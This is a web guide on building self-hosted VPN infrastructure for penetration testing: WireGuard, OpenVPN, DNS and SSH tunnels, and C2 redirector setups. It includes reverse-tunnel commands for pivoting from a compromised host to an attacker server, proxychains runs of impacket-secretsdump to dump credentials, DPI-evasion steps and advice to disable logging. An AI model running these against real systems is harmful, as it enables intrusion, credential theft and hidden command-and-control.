top of page

How To Build Your Own VPN For Hacking (Guide)

How To Build Your Own VPN For Pentesting (Guide) | Black Hat HQ

Building Your Own VPN for Hacking


Here's the complete guide to building your own VPN for pentesting — from quick WireGuard tunnels to full multi-hop infrastructure. This is a guide on how to build your own VPN for hacking.


Why Build Your Own VPN for Hacking


A self-hosted VPN serves distinct purposes in an engagement:


Use Case

Why Self-Hosted

C2 callback infrastructure

Redirectors that hide your real C2 server

Pivoting into internal networks

VPN tunnel from compromised host into target LAN

Egress filtering testing

Test what protocols escape the target network

Data exfiltration simulation

Tunnel data out over various protocols (DNS, ICMP, HTTPS)

Source IP control

Appear from a specific IP range or geo for testing geo-blocks

Split-tunnel testing

Verify VPN client routing doesn't leak


Option 1: WireGuard - Fastest Setup, Minimal Footprint


WireGuard is kernel-native, has a tiny codebase, and is nearly silent on the wire (no handshake noise, UDP only). Perfect for pentest infrastructure.


Server Setup (VPS / Cloud Instance)


bash

# On your server (Debian/Ubuntu)
apt update && apt install wireguard -y

# Generate server keys
cd /etc/wireguard
umask 077
wg genkey | tee server_private.key | wg pubkey > server_public.key

# Create config
cat > /etc/wireguard/wg0.conf << 'EOF'
[Interface]
Address = 10.99.0.1/24
ListenPort = 51820
PrivateKey = <SERVER_PRIVATE_KEY>

# Optional: NAT for clients to reach internet through you
PostUp = iptables -A FORWARD -i wg0 -j ACCEPT
PostUp = iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
PostDown = iptables -D FORWARD -i wg0 -j ACCEPT
PostDown = iptables -t nat -D POSTROUTING -o eth0 -j MASQUERADE

# Client 1 — pentest laptop
[Peer]
PublicKey = <CLIENT1_PUBLIC_KEY>
AllowedIPs = 10.99.0.10/32

# Client 2 — C2 redirector
[Peer]
PublicKey = <CLIENT2_PUBLIC_KEY>
AllowedIPs = 10.99.0.20/32
EOF

# Enable IP forwarding
sysctl -w net.ipv4.ip_forward=1
echo "net.ipv4.ip_forward=1" >> /etc/sysctl.conf

# Start
systemctl enable wg-quick@wg0
systemctl start wg-quick@wg0

Client Setup


bash

# On pentest laptop
apt install wireguard -y

# Generate keys
wg genkey | tee client_private.key | wg pubkey > client_public.key

cat > /etc/wireguard/wg0.conf << 'EOF'
[Interface]
Address = 10.99.0.10/24
PrivateKey = <CLIENT_PRIVATE_KEY>
# DNS = 1.1.1.1  # Optional

[Peer]
PublicKey = <SERVER_PUBLIC_KEY>
Endpoint = YOUR_SERVER_IP:51820
AllowedIPs = 10.99.0.0/24        # Only route pentest traffic through VPN
# AllowedIPs = 0.0.0.0/0         # Route ALL traffic (full tunnel)
PersistentKeepalive = 25         # Keep NATed connections alive
EOF

wg-quick up wg0

That's it. WireGuard adds about 4ms latency and uses almost no CPU. The handshake is silent — if no one sends data, there are no packets. Firewalls see it as unknown UDP on whatever port you choose.


Multi-Hop WireGuard (Double VPN)


For engagements requiring an extra layer of redirection:


bash

# Server A (entry point, exposed IP 1.2.3.4)
# wg0: 10.99.0.1/24 — clients connect here

# Server B (exit node, IP 5.6.7.8)  
# wg1: 10.99.1.1/24 — traffic exits here

# On Server A, route client traffic through Server B:
# In wg0.conf on Server A:
PostUp = ip route add 0.0.0.0/1 via 10.99.1.1
PostUp = ip route add 128.0.0.0/1 via 10.99.1.1

# Client → Server A (WireGuard) → Server B (WireGuard) → Internet
# Client only sees Server A's IP for the tunnel endpoint

Option 2: OpenVPN - Maximum Flexibility and Protocol Options


OpenVPN can run over TCP port 443, looking exactly like HTTPS. This is critical for egress testing — many networks only allow TCP 80/443 outbound.


TCP 443 Setup (HTTPS Masquerading)


bash

# Server setup
apt install openvpn easy-rsa -y

# PKI setup
make-cadir /etc/openvpn/easy-rsa
cd /etc/openvpn/easy-rsa
./easyrsa init-pki
./easyrsa build-ca nopass
./easyrsa build-server-full server nopass
./easyrsa build-client-full client1 nopass
./easyrsa gen-dh

# Server config — TCP on 443
cat > /etc/openvpn/server.conf << 'EOF'
port 443
proto tcp          # TCP, not UDP — looks like HTTPS
dev tun

ca   /etc/openvpn/easy-rsa/pki/ca.crt
cert /etc/openvpn/easy-rsa/pki/issued/server.crt
key  /etc/openvpn/easy-rsa/pki/private/server.key
dh   /etc/openvpn/easy-rsa/pki/dh.pem

server 10.8.0.0 255.255.255.0
push "redirect-gateway def1 bypass-dhcp"
push "dhcp-option DNS 1.1.1.1"

keepalive 10 120
cipher AES-256-GCM
auth SHA256
tls-version-min 1.2
tls-cipher TLS-ECDHE-RSA-WITH-AES-256-GCM-SHA384

# TLS auth key for HMAC firewall (drops non-VPN packets silently)
tls-crypt /etc/openvpn/ta.key

# Look like a web server to casual inspection
# OpenVPN's initial handshake is distinguishable, but the constant
# data stream looks like HTTPS to DPI that's not doing TLS fingerprinting

verb 2
mute 20
EOF

# Generate TLS crypt key
openvpn --genkey secret /etc/openvpn/ta.key

# Enable and start
systemctl enable openvpn@server
systemctl start openvpn@server

OpenVPN Over Obfuscation Proxies


When TCP 443 isn't enough and you need to defeat DPI:


bash

# Option A: obfsproxy — makes OpenVPN look like random TCP
apt install obfs4proxy -y

# Server: obfsproxy listens on 443, forwards to OpenVPN on 1194
obfs4proxy -mode server -listen 0.0.0.0:443 -dest 127.0.0.1:1194

# Client: obfsproxy on localhost forwards to server
obfs4proxy -mode client -dest YOUR_SERVER:443 -listen 127.0.0.1:1194
# Then OpenVPN client connects to 127.0.0.1:1194

# Option B: stunnel — wrap OpenVPN in TLS (indistinguishable from HTTPS)
apt install stunnel4 -y

cat > /etc/stunnel/stunnel.conf << 'EOF'
[vpn]
accept = 0.0.0.0:443
connect = 127.0.0.1:1194
cert = /etc/stunnel/server.pem
EOF

# Option C: Shadowsocks → OpenVPN (two-layer)
# Shadowsocks obfuscates the stream, OpenVPN provides the VPN
# Client: OpenVPN → Shadowsocks client → Shadowsocks server → OpenVPN server

DNS Tunneling VPN (Iodine)


When only DNS is allowed out (captive portals, heavily restricted networks):


bash

# Server
apt install iodine -y

# Set up a subdomain: tunnel.yourdomain.com → NS → your server IP
# This delegates all *.tunnel.yourdomain.com DNS queries to your server

iodined -c -P pentestpass -f 10.99.0.1 tunnel.yourdomain.com
# Creates tun interface at 10.99.0.1, clients get 10.99.0.2+

# Client
iodine -f -P pentestpass tunnel.yourdomain.com
# Creates a tunnel interface — now you have IP connectivity over DNS

# Then run SSH, HTTP, anything over this tunnel
ssh user@10.99.0.1   # SSH through DNS tunnel

Performance: DNS tunneling is slow (~100 Kbps up, ~500 Kbps down) and high-latency. Use it for C2 communication, not data exfiltration. It's a last-resort egress path, and it works almost everywhere because DNS is almost never blocked.


Option 3: SSH VPN (No Install Required)


When you can't install anything on the client or server — SSH alone creates a tunnel:


bash

# Layer 3 tunnel (TUN device, full IP routing)
ssh -w 0:0 -o Tunnel=point-to-point root@server

# On server:
ip addr add 10.99.0.1/32 peer 10.99.0.2 dev tun0
ip link set tun0 up

# On client:
ip addr add 10.99.0.2/32 peer 10.99.0.1 dev tun0
ip link set tun0 up

# Now route traffic through the tunnel
ip route add 192.168.1.0/24 via 10.99.0.1   # Route target subnet through SSH tunnel

# Dynamic SOCKS proxy (Layer 5, simpler, no root needed)
ssh -D 1080 -N -f user@server
# Now use localhost:1080 as a SOCKS5 proxy
# proxychains nmap -sT 192.168.1.0/24   # Scan through SSH tunnel

SSH + ProxyChains for pivoting:


bash

# /etc/proxychains4.conf
[ProxyList]
socks5 127.0.0.1 1080

# Use it
proxychains4 nmap -sT -Pn 10.0.0.0/24
proxychains4 crackmapexec smb 10.0.0.10
proxychains4 impacket-secretsdump domain/user:'password'@10.0.0.10

Pentest-Specific VPN Architectures


Pattern 1: C2 Redirector Chain


[Your Laptop] ──WireGuard──▶ [Redirector VPS] ──WireGuard──▶ [C2 Server]
  10.99.0.10                    10.99.0.1                       10.99.0.20
                                10.99.1.1                       10.99.1.10
                                
Targets talk to Redirector (port 443, 80, 53)
Redirector forwards to real C2 over WireGuard
C2 never touches the internet directly
If redirector is burned, tear it down — C2 is untouched

Redirector iptables rules:


bash

# Redirector VPS forwards HTTPS traffic to real C2
iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination 10.99.1.10:443
iptables -t nat -A POSTROUTING -d 10.99.1.10 -p tcp --dport 443 -j MASQUERADE

# Forward DNS to C2 as well
iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to-destination 10.99.1.10:53
iptables -t nat -A POSTROUTING -d 10.99.1.10 -p udp --dport 53 -j MASQUERADE

Pattern 2: Egress Testing — What Gets Out?


Deploy a VPN server outside the target network, then test what protocols can reach it:


bash

# On external VPS, set up listeners on common ports:
nc -lvnp 22   # SSH
nc -lvnp 53   # DNS TCP
nc -lvnp 80   # HTTP
nc -lvnp 443  # HTTPS
nc -lvnp 8080 # HTTP alt
nc -lvnp 8443 # HTTPS alt
nc -lvnp 3389 # RDP
nc -lvnp 53 -u # DNS UDP

# Also set up protocol-specific servers:
# OpenVPN on TCP 443 (standard)
# OpenVPN on UDP 53 (DNS-like)
# WireGuard on UDP 51820
# OpenVPN + obfsproxy on TCP 443 (obfuscated)

# From inside target network, try to connect to each
# Document which protocols are allowed out and which are blocked

Pattern 3: Pivoting Into Internal Network


Once you compromise a dual-homed host (connected to both external and internal networks):


bash

# On compromised host, create a reverse VPN tunnel back to you
# This gives you a route into the internal network

# Method: Chisel (TCP tunnel over HTTP, works through most proxies)
# On your server:
./chisel server -p 443 --reverse

# On compromised host (Windows or Linux):
./chisel client YOUR_IP:443 R:1080:socks R:10.99.0.1:10.99.0.2:22

# Now you have:
# - SOCKS5 proxy on your localhost:1080 → into target internal network
# - SSH access through the tunnel

# Method: Ligolo-ng (more stable, proper TUN device)
# On your server:
./ligolo-proxy -selfcert -laddr 0.0.0.0:443

# On compromised host:
./ligolo-agent -connect YOUR_IP:443 -ignore-cert

# In ligolo console:
session
ifconfig
start

# Now add routes to target internal subnets through the ligolo interface
ip route add 10.0.0.0/8 dev ligolo
ip route add 172.16.0.0/12 dev ligolo

Hardening Your VPN Infrastructure


The VPN server itself becomes an attack surface. Secure it:


bash

# 1. WireGuard: Use single-packet authentication (knock before wg handshake)
#    Or: rate-limit UDP 51820
iptables -A INPUT -p udp --dport 51820 -m recent --set
iptables -A INPUT -p udp --dport 51820 -m recent --update --seconds 60 --hitcount 5 -j DROP

# 2. OpenVPN: Use tls-crypt (not just tls-auth)
#    tls-crypt encrypts the entire handshake, making it indistinguishable from 
#    random data. tls-auth only authenticates but leaves handshake visible.

# 3. SSH: Key-only auth, no passwords
sed -i 's/^#PasswordAuthentication yes/PasswordAuthentication no/' /etc/ssh/sshd_config
sed -i 's/^#PermitRootLogin yes/PermitRootLogin prohibit-password/' /etc/ssh/sshd_config

# 4. All services: Bind to WireGuard interface only
#    C2 server should listen on 10.99.0.20, not 0.0.0.0
#    This means services are unreachable except through the VPN

# 5. Minimal install: VPS should have nothing but WireGuard/OpenVPN
#    No web server, no database, no extra packages. Less surface area.

# 6. Logging: Disable or ship to a separate log server
#    Your VPN server shouldn't store logs of your pentest activity
systemctl disable rsyslog
# Or configure remote logging to a secure destination

Quick Deployment Script


For teams that need to spin up VPN infrastructure fast:


bash

#!/bin/bash
# pentest-vpn-deploy.sh — One-command WireGuard VPN deployment
# Usage: curl -s https://your-server/deploy.sh | bash -s -- --clients 3

set -e

CLIENTS=${1:-3}
SERVER_IP=$(curl -s ifconfig.me)

echo "[*] Deploying WireGuard VPN on $SERVER_IP"
echo "[*] Clients: $CLIENTS"

apt update && apt install wireguard qrencode -y

# Server keys
SERVER_PRIV=$(wg genkey)
SERVER_PUB=$(echo "$SERVER_PRIV" | wg pubkey)

cat > /etc/wireguard/wg0.conf << EOF
[Interface]
Address = 10.99.0.1/24
ListenPort = 51820
PrivateKey = $SERVER_PRIV

PostUp = iptables -A FORWARD -i wg0 -j ACCEPT
PostUp = iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
PostDown = iptables -D FORWARD -i wg0 -j ACCEPT
PostDown = iptables -t nat -D POSTROUTING -o eth0 -j MASQUERADE
EOF

sysctl -w net.ipv4.ip_forward=1
echo "net.ipv4.ip_forward=1" >> /etc/sysctl.conf

# Generate client configs
for i in $(seq 1 $CLIENTS); do
    CLIENT_PRIV=$(wg genkey)
    CLIENT_PUB=$(echo "$CLIENT_PRIV" | wg pubkey)
    CLIENT_IP="10.99.0.$((10 + i))"
    
    cat >> /etc/wireguard/wg0.conf << EOF

# Client $i
[Peer]
PublicKey = $CLIENT_PUB
AllowedIPs = $CLIENT_IP/32
EOF
    
    # Client config file
    cat > "client${i}.conf" << EOF
[Interface]
Address = $CLIENT_IP/24
PrivateKey = $CLIENT_PRIV
DNS = 1.1.1.1

[Peer]
PublicKey = $SERVER_PUB
Endpoint = $SERVER_IP:51820
AllowedIPs = 10.99.0.0/24
PersistentKeepalive = 25
EOF
    
    echo "[+] Client $i config: client${i}.conf"
    qrencode -t ansiutf8 < "client${i}.conf"
done

systemctl enable wg-quick@wg0
systemctl start wg-quick@wg0

echo "[+] VPN deployed. Server: $SERVER_IP:51820"
echo "[+] Client configs saved in current directory"

Enroll In Online Cybersecurity & Hacking Classes/Courses | Black Hat HQ

Comments


bottom of page